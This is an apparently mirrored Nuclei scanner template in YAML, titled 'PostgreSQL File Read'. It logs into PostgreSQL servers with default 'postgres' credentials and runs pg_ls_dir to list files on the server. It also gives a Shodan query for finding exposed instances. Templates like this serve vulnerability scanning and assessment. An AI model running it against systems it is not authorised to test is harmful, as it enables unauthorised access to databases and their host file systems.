mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-02-02 00:33:27 +08:00
42 lines
1001 B
YAML
42 lines
1001 B
YAML
id: postgresql-file-read
|
|
|
|
info:
|
|
name: PostgreSQL File Read
|
|
author: pussycat0x
|
|
severity: info
|
|
description: |
|
|
Read and list the files within the PostgreSQL database,
|
|
reference:
|
|
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-file-read
|
|
metadata:
|
|
shodan-query: product:"PostgreSQL"
|
|
tags: js,network,postgresql
|
|
|
|
javascript:
|
|
- code: |
|
|
const postgres = require('nuclei/postgres');
|
|
const client = new postgres.PGClient;
|
|
connected = client.ExecuteQuery(Host, Port, User, Pass, Db, "select pg_ls_dir('./');");
|
|
Export(connected);
|
|
|
|
args:
|
|
Host: "{{Host}}"
|
|
Port: 5432
|
|
User: "{{usernames}}"
|
|
Pass: "{{password}}"
|
|
Db: "{{database}}"
|
|
|
|
payloads:
|
|
usernames:
|
|
- postgres
|
|
database:
|
|
- postgres
|
|
password:
|
|
- postgres
|
|
|
|
attack: clusterbomb
|
|
|
|
extractors:
|
|
- type: json
|
|
json:
|
|
- '.Rows[].pg_ls_dir' |